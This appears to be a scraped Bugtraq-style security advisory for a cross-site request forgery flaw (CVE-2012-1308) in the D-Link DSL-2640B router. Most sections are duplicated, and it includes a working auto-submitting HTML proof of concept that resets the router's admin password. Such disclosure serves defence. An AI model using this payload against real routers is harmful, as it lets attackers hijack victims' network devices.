D-Link DSL-2640B 'redpass.cgi' Cross-Site Request Forgery Vulnerability
BID:52096
Info
D-Link DSL-2640B 'redpass.cgi' Cross-Site Request Forgery Vulnerability
| Bugtraq ID: | 52096 |
| Class: | Design Error |
| CVE: |
CVE-2012-1308 |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 21 2012 12:00AM |
| Updated: | Oct 10 2012 06:10PM |
| Credit: | Ivano Binetti |
| Vulnerable: |
D-Link DSL-2640B 0 |
| Not Vulnerable: | |
Discussion
D-Link DSL-2640B 'redpass.cgi' Cross-Site Request Forgery Vulnerability
The D-Link DSL-2640B router is prone to a cross-site request-forgery vulnerability.
Successful exploits may allow attackers to run privileged commands on the affected device, change configuration, cause denial-of-service conditions, or inject arbitrary script code. Other attacks are also possible.
This issue affects D-Link DSL-2640B.
The D-Link DSL-2640B router is prone to a cross-site request-forgery vulnerability.
Successful exploits may allow attackers to run privileged commands on the affected device, change configuration, cause denial-of-service conditions, or inject arbitrary script code. Other attacks are also possible.
This issue affects D-Link DSL-2640B.
Exploit / POC
D-Link DSL-2640B 'redpass.cgi' Cross-Site Request Forgery Vulnerability
To exploit this issue, an attacker must entice an unsuspecting victim into following a malicious URI.
The following example data is available:
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to change ADMIN password</H2>
<form method="POST" name="form0" action="http://www.example.com:80/redpass.cgi?sysPassword=new_password&change=1">
</form>
</body>
</html>
To exploit this issue, an attacker must entice an unsuspecting victim into following a malicious URI.
The following example data is available:
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to change ADMIN password</H2>
<form method="POST" name="form0" action="http://www.example.com:80/redpass.cgi?sysPassword=new_password&change=1">
</form>
</body>
</html>
Solution / Fix
D-Link DSL-2640B 'redpass.cgi' Cross-Site Request Forgery Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
D-Link DSL-2640B 'redpass.cgi' Cross-Site Request Forgery Vulnerability
References:
References:
- D-Link DSL-2640B Homepage (D-Link)
- D-Link Homepage (D-Link)